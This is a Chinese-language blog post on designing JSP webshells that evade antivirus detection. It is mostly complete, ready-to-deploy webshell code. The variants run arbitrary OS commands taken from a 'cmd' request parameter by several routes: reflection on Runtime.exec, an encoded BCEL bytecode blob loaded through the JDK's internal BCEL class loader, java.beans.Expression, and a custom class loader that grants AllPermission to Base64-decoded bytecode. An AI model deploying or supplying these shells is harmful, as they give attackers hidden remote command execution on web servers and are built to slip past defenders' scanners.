JSP Webshell免杀设计
阅读原文时间:2023年07月08日阅读:5

JSP Webshell免杀设计

@author:drag0nf1y

什么是Webshell?

被服务端解析执行的php、jsp文件

什么是RCE?

  1. remote command execute
  2. remot code execute

Java没有eval这样的函数,只能执行命令,想要执行代码可以自定义一个类加载器,来加载字节码。

基本的反射

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

    String cmd = request.getParameter("cmd");
    Class<?> rt =Class.forName("java.lang.Runtime");
//    Field cr = rt.getDeclaredField("currentRuntime");
//    cr.setAccessible(true);
//    Runtime crt = (Runtime) cr.get(null);
    Method grmethod = rt.getMethod("getRuntime");
    Method method = rt.getMethod("exec", String.class);
    // 执行 method.invoke(),返回getRuntime对象
    Object object = method.invoke(grmethod.invoke(null),cmd);
    Process process = (Process) object;

    // 回显
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

优势:没有Runtime或者exec这些明显的特征,所以可以做到免杀。

<%@ page import="java.lang.reflect.Constructor" %>

<%@ page language="java" pageEncoding="UTF-8" %>

<%

​    String cmd = request.getParameter("cmd");

​    String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$ddR$d3P$Q$feN$JM$h$C$85$d2B$R$7fQ$a4$z$85$fa$83$7f$UQA$40$b4$a0C$j$9c$5e$a6$e9$B$83i$d2I$T$867$f2Vg$b4ud$c6K$_$7c$A$l$c2gp$c4$3di$a1t$a8$e3$c5$d9sv$bf$3d$bb$dfn$f6$e4$c7$9f$af$df$A$ccaS$c1$Q22f$U$E$c4$3e$x$p$ab$e0$Gn$KqK$c1m$cc$v$e8$c5$j$F$S$ee$KqO8$de$P$e1$81$d8$e7$c3$YDN$c6$82$8c$87$MA$87$d7$3c$d3e$88$e6$f7$b4$7d$zkj$d6n$b6$e0$3a$86$b5$9b$pt$c1$b0$Mw$91$n$9e$3c$L$a7$b6$Z$a4e$bb$cc$Z$oy$c3$e2$9b$5e$a5$c4$9d$d7Z$c9$e4$o$9c$adk$e6$b6$e6$YBo$Z$r$f7$adQ$a3$a8$f9$95$7d$c3$a4$f0$3dz$a5$cc$Q$a8$95$Y$c6$ce$c4_$f2$M$b3$cc$9d$9c$cfQ$a3$TC$a2$e9d$d8$d9$rog$87$3b$bc$bc$e5$p$e4$p$99$c4$80$a1$bf$e0j$fa$bb$N$ad$eag$f4$8b$5c$a4FQ$8f$Y$94$95$D$9dW$5d$c3$b6j2$k1$84$5c$bb$99$89$n$96Lu$x_$v$d8$9e$a3$f3UC$90$P$L$d2$b3$c2KE$M$8f$ZF$ff$c1$98a$a4$3bM$aa$f2$YX$b7$aa$9eK$b7$b8Vib2$9e$a8X$c2$b2$8a$a7X$91$b1$aab$N$cfD$a2u$n$9e$abx$81$94$8a$3c6$Y$98$a2$o$v$b4$u$86$a9pA$8ba$b0M$e6ei$8f$ebn$87$e9$b8$ce$e1$b6$e9$a4$Z$f4$Z$92$e2S$O$b5$b1$z$cfr$8d$K$d5$ac$ecr$f7D$89w4$a9e$W$ad$e7$H$5cg$98$ea6$o$a7L$af$i$5b$e7$b5Z$ae$pS$cb$c80$40$99N5$85$ba$7b$9c$ad$b3$5bt$3d$91$ec$K$88$g$86$dbPk2$845$q$e6$t$ef$cfGP$abV$b9EC7$f3$l$b6$9d3$88$x$f4f$86$e8$f11Z$d4v$92$B$3a$c7$Q$a7$7d$84$b4$9f$I$d2$8b$D$d6$d2$N$b0C$E$8a$N$f4l$iB$w$k$a2$b7$f8$F$c1$e9$3a$e4$3aB$N$84$hP6g$ea$e8$x$ceK$df$R$cd$8cIu$a8$d1$7e$So$de$l$fdJg$ea$Y$f8$8c$c8G$K$d5$83Q$92$T$I$91$M$d3$p$ee$83$K1$L$D$98$q$wY$a2$b1H$e9W$c9$x$e1$ff$V$fc$f4$Y$c39$c0$3f$8d$TMF7r8$8f$LDs$92b$5d$c4$r$8a$9b$n$ec2$a1$S$95$F$3a$H$8e$I$94dL$c8$b8$w$e3$9aL$g$7e$pA$g$ae$93$83Da$a6h$d1$cc$91$U$d5fi$X$9d$e8M$7fB$e4$83$df$M$c15$e8$h$c7$7d$3ej$d3$a1$c5$87$n$ed$7bM$ff$F$c9$d3$5b$u$c4$E$A$A";

​    //获取class(ClassLoader 的对象的描述)

​    Class<?> _loader = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");

​    //获得真正的对象实例

​    ClassLoader loader = (ClassLoader) _loader.newInstance();

​    Class<?> _obj = loader.loadClass(bcel);

​    Constructor<?> constructor = _obj.getConstructor(String.class);

​    Object obj = constructor.newInstance(cmd);

​    response.getWriter().println("<pre>");

​    response.getWriter().println(obj.toString());

​    response.getWriter().println("</pre>");

%>

BeansExpression

Java自带的一个Java.beans.Expression里面有一个getValue()的类,如果在构造的时候传入一些执行参数的话,就会直接执行,并且回显执行结果。

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
    //返回值是一个process的object
    Process process = (Process) expr.getValue();
    InputStream in = process.getInputStream();

    StringBuilder sb = new StringBuilder();
    response.getWriter().print("<pre>");
    //回显的返回结果是一个流,用 InputStreamReader 来读取
    InputStreamReader resultReader = new InputStreamReader(in);
    //再包一层BufferedReader读字符串
    BufferedReader stdInput = new BufferedReader(resultReader);
    String s = null;
    //BufferedReader的readline逐行字符串
    while ((s = stdInput.readLine()) != null) {
        sb.append(s).append("\n");
    }
    response.getWriter().print(sb.toString());
    response.getWriter().print("</pre>");
%>

自定义ClassLoader

与BCEL是一样的,BCEL是给一段特殊的字节码,用他的bcel classloader来进行加载,不过这里加载的是真正的字节码,通过自定义的ClassLoader来进行加载。

Evil.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil {
    String result;
    public Evil(String cmd) throws Exception {
        //读结果
        StringBuilder sb = new StringBuilder();
        BufferedReader reader = new BufferedReader(
                // 获取输入流
                new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())
        );
        String line;  //临时变量
        while ((line = reader.readLine()) != null) {
            sb.append(line).append("\n");
            //读到回显结果
        }
        this.result = sb.toString();
        //System.out.println(new Evil(cmd));
    }

    @Override
    public String toString() {
        return result;
    }
}

将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能。

String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();

实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法。

其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法。

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载,重写loadClass方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass方法。

@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
    if (name.contains("ByteCodeEvil")) {
        return findClass(name);
    }
    return super.loadClass(name);
}

最终的自定义类加载器JSP Webshell如下

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
    ClassLoader loader = new ClassLoader() {
        @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            if(name.contains("ByteCodeEvil")){
                return findClass(name);
            }
            return super.loadClass(name);
        }

        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            try {
                byte[] bytes = Base64.getDecoder().decode("");
                PermissionCollection pc = new Permissions();
                pc.add(new AllPermission());
                ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
                return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return super.findClass(name);
        }
    };

    String cmd = request.getParameter("cmd");
    Class<?> clazz = loader.loadClass("ByteCodeEvil");
    Constructor<?> constructor = clazz.getConstructor(String.class);
    String result = constructor.newInstance(cmd).toString();
    response.getWriter().print(result);
%>